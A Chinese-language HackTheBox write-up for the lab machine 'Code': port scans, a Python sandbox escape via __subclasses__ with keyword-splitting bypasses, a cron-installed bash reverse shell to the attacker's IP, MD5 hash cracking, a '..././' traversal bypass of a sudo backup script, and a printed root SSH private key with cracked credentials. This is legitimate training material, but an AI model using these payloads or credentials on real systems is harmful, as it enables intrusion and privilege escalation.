目标信息
IP地址:
10.10.11.62
信息收集
ICMP检测
PING 10.10.11.62 (10.10.11.62) 56(84) bytes of data.
64 bytes from 10.10.11.62: icmp_seq=1 ttl=63 time=831 ms
64 bytes from 10.10.11.62: icmp_seq=2 ttl=63 time=661 ms
64 bytes from 10.10.11.62: icmp_seq=3 ttl=63 time=284 ms
64 bytes from 10.10.11.62: icmp_seq=4 ttl=63 time=285 ms
--- 10.10.11.62 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3001ms
rtt min/avg/max/mdev = 283.838/515.127/831.080/238.587 ms
攻击机和靶机间的网络连接状态正常。
防火墙检测
# Nmap 7.95 scan initiated Sun Mar 23 08:01:30 2025 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.10.11.62
Nmap scan report for code.htb (10.10.11.62)
Host is up (0.29s latency).
All 65535 scanned ports on code.htb (10.10.11.62) are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)
# Nmap done at Sun Mar 23 08:02:16 2025 -- 1 IP address (1 host up) scanned in 45.68 seconds
无法确定靶机防火墙状态。
网络端口扫描
TCP
端口扫描结果
# Nmap 7.95 scan initiated Sun Mar 23 08:04:47 2025 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.10.11.62
Warning: 10.10.11.62 giving up on port because retransmission cap hit (10).
Nmap scan report for code.htb (10.10.11.62)
Host is up (0.26s latency).
Not shown: 33602 filtered tcp ports (no-response), 31931 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 282.03 ms 10.10.14.1
2 282.21 ms code.htb (10.10.11.62)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 23 08:07:30 2025 -- 1 IP address (1 host up) scanned in 163.30 seconds
UDP
端口开放列表扫描结果
# Nmap 7.95 scan initiated Sun Mar 23 08:08:52 2025 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.10.11.62
Warning: 10.10.11.62 giving up on port because retransmission cap hit (10).
Nmap scan report for code.htb (10.10.11.62)
Host is up (0.30s latency).
All 65535 scanned ports on code.htb (10.10.11.62) are in ignored states.
Not shown: 65289 open|filtered udp ports (no-response), 246 closed udp ports (port-unreach)
# Nmap done at Sun Mar 23 08:12:55 2025 -- 1 IP address (1 host up) scanned in 242.48 seconds
UDP
端口详细信息扫描结果
(无)
同时发现靶机操作系统为Ubuntu Linux
,在5000/tcp
端口部署了Python Web
服务。根据HackTheBox
规则,靶机域名为code.htb
。
服务探测
SSH服务(22端口)
端口Banner
:
┌──(root㉿misaka19008)-[/home/megumin/Documents/pentest_notes/code]
└─# nc -nv 10.10.11.62 22
(UNKNOWN) [10.10.11.62] 22 (ssh) open
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
Web应用程序(5000端口)
打开主页:http://code.htb:5000/
发现网页部署了一个在线Python
代码运行系统。尝试运行os.system()
方法,发现一些危险字符被探测了:
通过尝试,发现程序过滤了大量Python
类库的名称和关键字,包括但不限于popen
、eval
、os
、import
、subprocess
和system
等等。
渗透测试
在对靶机在线Python
代码运行器的服务探测过程中,发现该Web
代码运行器过滤了大量Python
类库、函数名称和关键字。对于这种情况,只能通过获取Python
所有对象的基类,随后使用__subclasses__()
方法访问包含os
类库的危险类,并通过字符串列表索引的方式调用Python
的命令执行函数。通常,我们使用如下Python
代码获取Python
环境中加载的所有类库:
print([].__class__.__base__.__subclasses__())
成功获取加载类列表!接下来,我们需要编写脚本,将每一个类的名称下载并保存到数组中,然后寻找包含os
库的类库。一般情况下,我们可以利用warnings.catch_warnings
类执行os.popen
函数。该类库调用了os
类库。
首先确定HTTP
请求包的内容,使用BurpSuite
拦截该网络请求:
发现接收并执行Python
代码的端点为/run_code
,传递代码的HTTP POST
参数为code
。
直接编写如下Python
脚本:
#!/usr/bin/python3
import json
import requests
url = "http://code.htb:5000/run_code"
header = {
"Host": "code.htb:5000",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://code.htb:5000",
"Connection": "keep-alive",
"Referer": "http://code.htb:5000/",
"Priority": "u=0"
}
data = {"code": "print([].__class__.__base__.__subclasses__())"}
classlist = json.loads(requests.post(url=url, headers=header, data=data).text)["output"].strip("n]").strip("[").split(", ")
for i in range(0, len(classlist)):
classlist[i] = classlist[i].strip("<class '").strip("'>")
for i in range(0, len(classlist)):
if "warnings.catch_warnings" in classlist[i]:
print("[+] Found class: %s, Index = %d" %(classlist[i], i))
该脚本向靶机在线代码运行器提交获取Python
环境中所有类库的代码,并根据逗号将响应内容分割为数组,随后使用strip()
方法将多余的字符删除,最后在数组内查找warnings.catch_warnings
字符串:
成功发现warnings.catch_warnings
类库在靶机Python
基类__subclasses__()
方法返回数组中的索引:139
!
直接执行如下代码,加载os.popen
函数,运行id
命令。对于被过滤的关键字和函数名,可以使用+
号拼接字符串进行绕过:
print([].__class__.__base__.__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("id").rea'+'d()'))
成功执行id
命令!接下来我们可以通过添加Linux
计划任务后门的方式来接收反弹Shell
。首先在本地编写恶意计划任务配置文件revshell_cron.txt
:
*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.13/443 0>&1'
随后在本地启动SimpleHTTPServer
和NetCat
监听,使用在线代码运行器执行wget
命令下载恶意配置文件,并通过crontab
系统命令添加计划任务:
[].__class__.__base__.__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("wget http://10.10.14.13/revshell_cron.txt -O /tmp/revshell_cron.txt").rea'+'d()')
[].__class__.__base__.__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("cat /tmp/revshell_cron.txt | crontab").rea'+'d()')
print([].__class__.__base__.__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("crontab -l").rea'+'d()'))
添加成功!!
等待一分钟后,接收到反弹Shell
:
权限提升
移动至martin用户
进入系统后,执行目录信息收集。在/home/app-production/app/instance
目录下发现SQLite
数据库文件database.db
:
同时查看Python Web
应用程序代码:/home/app-production/app/app.py
:
from flask import Flask, render_template,render_template_string, request, jsonify, redirect, url_for, session, flash
from flask_sqlalchemy import SQLAlchemy
import sys
import io
import os
import hashlib
app = Flask(__name__)
app.config['SECRET_KEY'] = "7j4D5htxLHUiffsjLXB1z9GaZ5"
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
password = db.Column(db.String(80), nullable=False)
codes = db.relationship('Code', backref='user', lazy=True)
class Code(db.Model):
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
code = db.Column(db.Text, nullable=False)
name = db.Column(db.String(100), nullable=False)
def __init__(self, user_id, code, name):
self.user_id = user_id
self.code = code
self.name = name
@app.route('/')
def index():
code_id = request.args.get('code_id')
return render_template('index.html', code_id=code_id)
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = hashlib.md5(request.form['password'].encode()).hexdigest()
existing_user = User.query.filter_by(username=username).first()
if existing_user:
flash('User already exists. Please choose a different username.')
else:
new_user = User(username=username, password=password)
db.session.add(new_user)
db.session.commit()
flash('Registration successful! You can now log in.')
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = hashlib.md5(request.form['password'].encode()).hexdigest()
user = User.query.filter_by(username=username, password=password).first()
if user:
session['user_id'] = user.id
flash('Login successful!')
return redirect(url_for('index'))
else:
flash('Invalid credentials. Please try again.')
return render_template('login.html')
@app.route('/logout')
def logout():
session.pop('user_id', None)
flash('You have been logged out.')
return redirect(url_for('index'))
@app.route('/run_code', methods=['POST'])
def run_code():
code = request.form['code']
old_stdout = sys.stdout
redirected_output = sys.stdout = io.StringIO()
try:
for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'subprocess', '__import__', '__builtins__']:
if keyword in code.lower():
return jsonify({'output': 'Use of restricted keywords is not allowed.'})
exec(code)
output = redirected_output.getvalue()
except Exception as e:
output = str(e)
finally:
sys.stdout = old_stdout
return jsonify({'output': output})
@app.route('/load_code/<int:code_id>')
def load_code(code_id):
if 'user_id' not in session:
flash('You must be logged in to view your codes.')
return redirect(url_for('login'))
code = Code.query.get_or_404(code_id)
if code.user_id != session['user_id']:
flash('You do not have permission to view this code.')
return redirect(url_for('codes'))
return jsonify({'code': code.code})
@app.route('/save_code', methods=['POST'])
def save_code():
if 'user_id' not in session:
return jsonify({'message': 'You must be logged in to save code.'}), 401
user_id = session['user_id']
code = request.form.get('code')
name = request.form.get('name')
if not code or not name:
return jsonify({'message': 'Code and name are required.'}), 400
new_code = Code(user_id=user_id, code=code, name=name)
db.session.add(new_code)
db.session.commit()
return jsonify({'message': 'Code saved successfully!'})
@app.route('/codes', methods=['GET', 'POST'])
def codes():
if 'user_id' not in session:
flash('You must be logged in to view your codes.')
return redirect(url_for('login'))
user_id = session['user_id']
codes = Code.query.filter_by(user_id=user_id).all()
if request.method == 'POST':
code_id = request.form.get('code_id')
code = Code.query.get(code_id)
if code and code.user_id == user_id:
db.session.delete(code)
db.session.commit()
flash('Code deleted successfully!')
else:
flash('Code not found or you do not have permission to delete it.')
return redirect(url_for('codes'))
return render_template('codes.html',codes=codes)
@app.route('/about')
def about():
return render_template('about.html')
if __name__ == '__main__':
if not os.path.exists('database.db'):
with app.app_context():
db.create_all()
app.run(host='0.0.0.0', port=5000)
发现用户密码使用的哈希摘要算法为MD5
。直接将database.db
文件通过scp
工具传输到攻击机上,使用sqlitebrowser
工具打开user
表:
发现martin
用户的哈希值为3de6f30c4a09c27fc71932bfc68474be
,使用hashcat
破解:
.hashcat.exe -m 0 -a 0 "3de6f30c4a09c27fc71932bfc68474be" .rockyou.txt --force
成功发现如下用户凭据:
- 用户名:
martin
- 密码:
nafeelswordsmaster
直接登录SSH
:
成功!
Sudo Backy工具备份root目录
登录martin
用户后,执行sudo -l
命令查看当前用户sudo
权限:
发现当前用户可以root
用户权限免密运行/usr/bin/backy.sh
脚本。脚本内容如下:
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\.\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
发现脚本接收一个指向JSON
配置文件的命令行参数,随后定义allowed_paths
数组,内容为/var/
和/home/
,接着使用jq
命令打开JSON
文件,定位到JSON
数组directories_to_archive
处,将该子数组内字符串中所有的../
字符串删除后进行保存并重新读入数组directories_to_archive
。完成上述操作后,脚本通过is_allowed_path()
函数,判断数组directories_to_archive
内的路径字符串开头是否为/var/
或/home/
,如条件符合,则调用/usr/bin/backy
,传入经处理的JSON
配置文件,否则直接报错退出。
下面来研究backy
程序。我们尝试直接执行backy
命令,查看程序的基本信息:
通过联网搜索,成功确定程序GitHub
地址:vdbsh/backy: tiny multiprocessing utility for file backups
发现该程序为一个轻量化的目录备份工具,需要接收一份JSON
配置文件作为备份设置使用。查看martin
用户家目录,发现存在子目录/home/martin/backups/
,目录内存在task.json
文件和一个~/app
目录的压缩包:
推测task.json
为Backy
工具的备份设置文件,内容如下:
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
根据文件内容,可确定destination
参数作用为设置压缩包保存路径,directories_to_archive
数组参数的作用为指定需要备份的目录。
综合上述内容进行分析,发现backy.sh
脚本在处理JSON
配置文件directories_to_archive
数组内字符串参数时,只使用jq
命令对../
目录穿越符号进行了删除,而不是在检测到该符号后就报错退出;在处理结束后,只检查了新覆盖的JSON
配置文件内directories_to_archive
数组的绝对路径参数时,只检查了开头是否为/var/
或者/home/
,而未检查字符串内是否还存在../
目录穿越符号,导致真实路径和文件内的路径存在差异。如此一来,只需要在../
符号中间再插入一个../
符号,即可进行过滤词双写绕过。
比如,备份目标目录为/root
,则如果路径以/home/
为开头,相对路径就为/home/../root
,双写绕过的目录字符串就为/home/..././root
。
我们直接创建目录/home/martin/misaka
目录,在目录内创建如下sparkle.json
配置文件:
{
"destination": "/home/martin/misaka",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/..././root"
]
}
随后执行命令(JSON
文件路径必须为绝对路径):
sudo backy.sh /home/martin/misaka/sparkle.json
成功备份/root
目录!直接使用scp
工具下载压缩包,打开/root/.ssh
目录查看:
成功发现root
用户的SSH
私钥文件:
-----BEGIN OPENSSH PRIVATE KEY-----
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
hdENGN+hVCh//jFwAAAAlyb290QGNvZGU=
-----END OPENSSH PRIVATE KEY-----
直接使用该私钥登录SSH
:
提权成功!!!!